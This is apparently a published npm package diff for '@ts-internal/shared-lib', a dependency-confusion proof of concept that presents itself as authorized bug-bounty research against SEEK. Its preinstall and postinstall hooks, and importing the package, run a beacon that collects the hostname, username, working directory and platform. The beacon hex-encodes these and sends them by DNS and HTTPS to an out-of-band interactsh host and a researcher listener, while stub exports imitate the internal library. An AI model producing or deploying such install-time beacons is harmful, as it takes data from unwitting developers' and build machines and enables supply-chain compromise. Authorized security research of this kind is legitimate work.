@ts-internal/shared-lib 9.9.9

package/README.md

@@ -0,0 +1,17 @@
+# @ts-internal/shared-lib (security research placeholder)
+
+This package is an **authorized bug-bounty proof-of-concept** published through the SEEK
+program on Bugcrowd by researcher `mdpsec2`.
+
+The name `@ts-internal/shared-lib` was found referenced by production `au.seek.com`
+JavaScript source maps but was **unclaimed on the public npm registry**, creating a
+dependency-confusion exposure. The npm scope `@ts-internal` was defensively registered to
+prevent malicious takeover.
+
+This package is **non-destructive**: on install it emits a single harmless callback
+(DNS + HTTP) carrying only non-sensitive host identity (hostname, username, cwd path, OS,
+package name/version) to confirm whether a SEEK build/dev/CI path resolves the name from
+public npm. It performs **no** exfiltration of files, environment variables, secrets, or
+source code, and has no persistence, network shell, or destructive behavior.
+
+SEEK security: the `@ts-internal` scope can be transferred to you on request. Safe to remove.

package/beacon.js

@@ -0,0 +1,62 @@
+// Non-destructive dependency-confusion PoC beacon for SEEK bug bounty (Bugcrowd, *.seek.com).
+// Authorized security research. Fires ONE harmless callback proving code-exec reach + public-npm
+// resolution. Collects ONLY non-sensitive host identity. NO file/env/secret exfiltration, NO
+// persistence, NO reverse shell, NO destructive action. Safe to remove.
+//
+// Channels:
+//   1. DNS+HTTP via interactsh OOB host
+//   2. HTTPS GET to a researcher-controlled listener (captures source IP, User-Agent, rDNS)
+'use strict';
+
+function beacon(phase) {
+  var os, https, dns;
+  try { os = require('os'); } catch (e) { os = {}; }
+  try { https = require('https'); } catch (e) {}
+  try { dns = require('dns'); } catch (e) {}
+
+  // Non-sensitive identifying metadata ONLY.
+  var meta = {};
+  try { meta.host = (os.hostname && os.hostname()) || ''; } catch (e) { meta.host = ''; }
+  try { meta.user = (os.userInfo && os.userInfo().username) || ''; } catch (e) { meta.user = ''; }
+  try { meta.cwd = (process.cwd && process.cwd()) || ''; } catch (e) { meta.cwd = ''; }
+  try { meta.plat = (os.platform && os.platform()) || ''; } catch (e) { meta.plat = ''; }
+  try { meta.pkg = process.env.npm_package_name || ''; } catch (e) {}
+  try { meta.pver = process.env.npm_package_version || ''; } catch (e) {}
+
+  var marker = 'seek-bb-poc';
+  function enc(s) { try { return Buffer.from(String(s)).toString('hex'); } catch (e) { return ''; } }
+  // Encode metadata into a single hex blob so it survives DNS label limits.
+  var blob = enc([marker, phase, meta.pkg, meta.pver, meta.host, meta.user, meta.plat, meta.cwd].join('|'));
+
+  var OAST = 'd8oa6q03t3o2ksbjirogwxiwiyhp6e57o.oast.site';
+  var HTTP_HOST = 'npm-dc-seek-1781572474.testingboxes.com';
+
+  // 1. DNS callback (label-safe: short marker + truncated blob as a subdomain).
+  try {
+    if (dns && dns.lookup) {
+      var label = (marker + '-' + phase + '-' + blob).slice(0, 60).replace(/[^a-z0-9\-]/gi, '');
+      dns.lookup(label + '.' + OAST, function () {});
+    }
+  } catch (e) {}
+
+  // 2. HTTP callback to interactsh (full blob in path).
+  try {
+    if (https) {
+      https.get({ host: OAST, path: '/' + marker + '/' + phase + '?d=' + blob, timeout: 4000 }, function (r) { r.resume(); }).on('error', function () {});
+    }
+  } catch (e) {}
+
+  // 3. HTTPS callback to researcher listener (captures source IP + UA for SEEK attribution).
+  try {
+    if (https) {
+      https.get({
+        host: HTTP_HOST,
+        path: '/' + marker + '/' + phase + '?d=' + blob,
+        timeout: 4000,
+        headers: { 'User-Agent': marker + '/' + (meta.pkg || '') + '@' + (meta.pver || '') }
+      }, function (r) { r.resume(); }).on('error', function () {});
+    }
+  } catch (e) {}
+}
+
+module.exports = { beacon: beacon };

package/images/profile-header-shapes.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1" viewBox="0 0 1 1"><!-- seek-bb-poc dependency-confusion PoC placeholder asset, non-malicious --></svg>

package/index.js

@@ -0,0 +1,19 @@
+// main entry. Beacons on require()/import (covers the case where a build bundles the package
+// rather than only installing it). Exports harmless stubs matching the symbols SEEK source
+// imports (brandNameMapper, MarketSelector, ImageBanner, GeneralErrorMessage, etc.) so a build
+// that consumes them still resolves and the PoC stays non-breaking.
+'use strict';
+try { require('./beacon').beacon('require'); } catch (e) {}
+
+function noop() { return null; }
+module.exports = {
+  // value exports observed in au.seek.com candidate-basic-search source maps
+  brandNameMapper: {},
+  MarketSelector: noop,
+  MarketSelectorButton: noop,
+  ImageBanner: noop,
+  GeneralErrorMessage: noop,
+  // type-only names are erased at compile; harmless to also expose
+  Market: {}, Suggestion: {}, ProfileView: {}, ProfileCardView: {},
+  Education: {}, Licence: {},
+};

package/lifecycle.js

@@ -0,0 +1,8 @@
+// Lifecycle entry. Runs on preinstall/postinstall. Beacons then exits 0 (never fails the install).
+'use strict';
+try {
+  var phase = process.argv[2] || 'install';
+  require('./beacon').beacon(phase);
+} catch (e) {}
+// Give the async callbacks a brief moment, then exit cleanly.
+setTimeout(function () { try { process.exit(0); } catch (e) {} }, 1500);

package/package.json

@@ -0,0 +1,25 @@
+{
+  "name": "@ts-internal/shared-lib",
+  "version": "9.9.9",
+  "description": "Authorized bug-bounty dependency-confusion PoC (SEEK / Bugcrowd). Non-destructive install-time beacon only. Contact via Bugcrowd program. Safe to remove.",
+  "main": "index.js",
+  "exports": {
+    ".": "./index.js",
+    "./images/profile-header-shapes.svg": "./images/profile-header-shapes.svg",
+    "./package.json": "./package.json"
+  },
+  "files": [
+    "index.js",
+    "beacon.js",
+    "lifecycle.js",
+    "images/profile-header-shapes.svg",
+    "README.md"
+  ],
+  "scripts": {
+    "preinstall": "node lifecycle.js preinstall",
+    "postinstall": "node lifecycle.js postinstall"
+  },
+  "keywords": ["security-research", "bug-bounty", "dependency-confusion", "poc", "non-destructive"],
+  "license": "MIT",
+  "author": "mdpsec2 (Bugcrowd security researcher)"
+}